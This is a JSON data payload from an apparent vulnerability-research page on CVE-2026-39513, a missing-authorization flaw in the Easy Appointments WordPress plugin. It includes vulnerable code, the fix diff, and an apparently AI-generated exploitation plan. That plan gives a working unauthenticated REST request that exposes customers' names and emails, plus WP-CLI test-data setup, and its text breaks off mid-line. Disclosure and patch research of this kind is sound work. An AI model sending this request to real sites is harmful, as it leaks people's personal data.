[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fNA5-Y-070mSNblcYJG8fK-TDt1eQJmXbQ_p2X0KVc3Q":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-39513","easy-appointments-missing-authorization","Easy Appointments \u003C= 3.12.21 - Missing Authorization","The Easy Appointments plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in versions up to, and including, 3.12.21. This makes it possible for unauthenticated attackers to perform an unauthorized action.","easy-appointments",null,"\u003C=3.12.21","3.12.22","medium",5.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Missing Authorization","2026-04-13 00:00:00","2026-04-21 14:51:35",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fc8f0456d-078e-4962-98a3-d1451b01b75f?source=api-prod",9,[22,23,24,25,26,27,28,29],"css\u002Fadmin.css","ea-blocks\u002Fbuild\u002Fea-fullcalendar\u002Ffrontend.asset.php","ea-blocks\u002Fbuild\u002Fea-fullcalendar\u002Ffrontend.js","ea-blocks\u002Fbuild\u002Fea-fullcalendar\u002Findex.asset.php","ea-blocks\u002Fbuild\u002Fea-fullcalendar\u002Findex.js","ea-blocks\u002Fea-blocks.php","ea-blocks\u002Fsrc\u002Fea-fullcalendar\u002Fedit.js","ea-blocks\u002Fsrc\u002Fea-fullcalendar\u002Fview.js","researched",false,3,"# Exploitation Research Plan: CVE-2026-39513 - Easy Appointments Missing Authorization\n\n## 1. Vulnerability Summary\nThe **Easy Appointments** plugin (up to and including version 3.12.21) contains a missing authorization vulnerability within its REST API implementation for Gutenberg blocks. Specifically, the route `\u002Fwp\u002Fv2\u002Feablocks\u002Fea_appointments\u002F` is registered with `'permission_callback' => '__return_true'`, allowing any unauthenticated user to retrieve a full list of appointments. This data includes sensitive Personal Identifiable Information (PII) such as customer names, emails, and phone numbers stored in custom fields.\n\n## 2. Attack Vector Analysis\n- **Endpoint**: `GET \u002Fwp-json\u002Fwp\u002Fv2\u002Feablocks\u002Fea_appointments\u002F`\n- **Alternative Endpoint**: `GET \u002Fwp-json\u002Fwp\u002Fv2\u002Feablocks\u002Fget_ea_options\u002F` (less sensitive, but also unprotected)\n- **Authentication**: None required (unauthenticated).\n- **Parameters**:\n    - `location` (Optional, integer): Filter by location ID.\n    - `service` (Optional, integer): Filter by service ID.\n    - `worker` (Optional, integer): Filter by worker ID.\n- **Preconditions**: The plugin must be active. At least one appointment must exist in the database for the exploit to demonstrate data exposure.\n\n## 3. Code Flow\n1. **Route Registration**: In `ea-blocks\u002Fea-blocks.php`, the `rest_api_init` hook registers the route:\n   ```php\n   register_rest_route('wp\u002Fv2\u002Feablocks', '\u002Fea_appointments\u002F', [\n       'methods'  => 'GET',\n       'callback' => 'easy_ea_block_get_appointments',\n       'permission_callback' => '__return_true', \u002F\u002F \u003C--- Vulnerability: No auth check\n   ]);\n   ```\n2. **Callback Execution**: The function `easy_ea_block_get_appointments` is called. It extracts `location`, `service`, and `worker` parameters and passes them to `easy_ea_block_get_all_appointments($data)`.\n3. **Data Retrieval**: `easy_ea_block_get_all_appointments` performs a SQL query:\n   ```php\n   $query = \"SELECT * FROM $tableName WHERE 1 {$location}{$service}{$worker}{$status}{$search} ORDER BY id DESC\";\n   ```\n4. **PII Enrichment**: The function then calls `easy_ea_block_get_fields_for_apps($ids)`, which joins the `ea_meta_fields` (slugs like 'name', 'email') and `ea_fields` (the actual values) tables.\n5. **Data Leak**: All custom field values are attached to the appointment objects and returned as a JSON array to the requester.\n\n## 4. Nonce Acquisition Strategy\nThis vulnerability **does not require a nonce**. \n- The endpoint is a `GET` request.\n- The `permission_callback` is explicitly set to `__return_true`.\n- WordPress does not require nonces for unauthenticated `GET` requests to REST routes that do not enforce permissions.\n- Even if a nonce were checked via `check_ajax_referer`, it would be for the `wp_rest` action, which is generally available or bypassable for unauthenticated users when the permission callback is missing. However, no such check exists in the source.\n\n## 5. Exploitation Strategy\n1. **Identify Target**: Confirm the plugin is active and the REST API is accessible.\n2. **Send Request**: Perform an unauthenticated GET request to the vulnerable endpoint.\n3. **Analyze Response**: Parse the JSON response for sensitive customer fields (`name`, `email`, `phone`, etc.).\n\n### HTTP Request (Playwright\u002Fhttp_request)\n```http\nGET \u002Fwp-json\u002Fwp\u002Fv2\u002Feablocks\u002Fea_appointments\u002F HTTP\u002F1.1\nHost: TARGET_HOST\nAccept: application\u002Fjson\n```\n\n## 6. Test Data Setup\nTo verify the exploit, we must populate the custom Easy Appointments tables. Use `wp db query` to ensure the data is present:\n\n1. **Create Meta Fields (Slugs)**:\n```bash\nwp db query \"INSERT INTO wp_ea_meta_fields (id, slug, name, type, is_visible) VALUES (1, 'name', 'Name', 'text', 1), (2, 'email', 'Email', 'text', 1);\"\n```\n\n2. **Create a Location and Service**:\n```bash\nwp db query \"INSERT INTO wp_ea_locations (id, name) VALUES (1, 'Test Clinic');\"\nwp db query \"INSERT INTO wp_ea_services (id, name) VALUES (1, 'General Consultation');\"\n```\n\n3. **Create an Appointment**:\n```bash\nwp db query \"INSERT INTO wp_ea_appointments (id, location, service, worker, status, date, start, end) VALUES (101, 1, 1, 1, 'confirmed', '2025-05-20', '10:00:00', '11:00:00');\"\n```\n\n4. **Link PII to Appointment**:\n```bash\nwp db query \"INSERT INTO wp_ea_fields (app_id, field_id, value) VALUES (101, 1, 'Secret Patient'), (101, 2, 'patient@private.com');\"\n```\n\n## 7. Expected Results\n- The HTTP response status should be `200 OK`.\n- The response body will be a JSON array containing the appointment object.\n- **Verification Key**: The JSON object for ID `101` must contain `\"name\": \"Secret Patient\"` and `\"email\": \"patient@private.com\"`.\n\nExample response snippet:\n```json\n[\n  {\n    \"id\": \"101\",\n    \"status\": \"confirmed\",\n    \"date\": \"2025-05-20\",\n    \"start\": \"10:00:00\",\n    \"end\": \"11:00:00\",\n    \"name\": \"Secret Patient\",\n    \"email\": \"patient@private.com\"\n  }\n]\n```\n\n## 8. Verification Steps\nAfter running the exploit via `http_request`, use WP-CLI to confirm the data matches the database:\n```bash\n# Check the appointment list from the DB\nwp db query \"SELECT * FROM wp_ea_appointments WHERE id=101\"\n# Check","The Easy Appointments plugin for WordPress (up to version 3.12.21) exposes sensitive appointment data via its REST API due to a missing authorization check. Unauthenticated attackers can access a full list of appointments, including customer names, emails, and phone numbers, by querying the plugin's registered Gutenberg block endpoints.","\u002F\u002F ea-blocks\u002Fea-blocks.php line 93\nadd_action('rest_api_init', function () {\n\tregister_rest_route('wp\u002Fv2\u002Feablocks', '\u002Fget_ea_options\u002F', array(\n\t\t'methods'  => 'GET',\n\t\t'callback' => 'easy_ea_blocks_get_options',\n\t\t'permission_callback' => '__return_true',\n\t));\n});\n\n---\n\n\u002F\u002F ea-blocks\u002Fea-blocks.php line 227\nadd_action('rest_api_init', function () {\n\tregister_rest_route('wp\u002Fv2\u002Feablocks', '\u002Fea_appointments\u002F', [\n\t\t'methods'  => 'GET',\n\t\t'callback' => 'easy_ea_block_get_appointments',\n\t\t'permission_callback' => '__return_true', \u002F\u002F Secure this if needed\n\t]);\n});","--- \u002Fea-blocks\u002Fea-blocks.php\n+++ \u002Fea-blocks\u002Fea-blocks.php\n@@ -96,7 +96,9 @@\n \tregister_rest_route('wp\u002Fv2\u002Feablocks', '\u002Fget_ea_options\u002F', array(\n \t\t'methods'  => 'GET',\n \t\t'callback' => 'easy_ea_blocks_get_options',\n-\t\t'permission_callback' => '__return_true',\n+\t\t'permission_callback' => function () {\n+\t\t\treturn current_user_can('manage_options');\n+\t\t},\n \t));\n });\n \n@@ -229,7 +231,9 @@\n \tregister_rest_route('wp\u002Fv2\u002Feablocks', '\u002Fea_appointments\u002F', [\n \t\t'methods'  => 'GET',\n \t\t'callback' => 'easy_ea_block_get_appointments',\n-\t\t'permission_callback' => '__return_true', \u002F\u002F Secure this if needed\n+\t\t'permission_callback' => function () {\n+\t\t\treturn current_user_can('manage_options');\n+\t\t},\n \t]);\n });","The exploit is unauthenticated and requires no special parameters or nonces. An attacker sends a GET request to the REST API endpoint `\u002Fwp-json\u002Fwp\u002Fv2\u002Feablocks\u002Fea_appointments\u002F`. Because the 'permission_callback' is set to '__return_true', the server executes the callback function 'easy_ea_block_get_appointments'. This function retrieves all appointment records from the database and enriches them with custom field meta (PII) such as the customer's name and email address. The final data is returned to the attacker as a JSON array of objects.","gemini-3-flash-preview","2026-04-27 15:05:31","2026-04-27 15:06:20",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","3.12.21","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Feasy-appointments\u002Ftags\u002F3.12.21","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Feasy-appointments.3.12.21.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Feasy-appointments\u002Ftags\u002F3.12.22","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Feasy-appointments.3.12.22.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Feasy-appointments\u002Ftags"]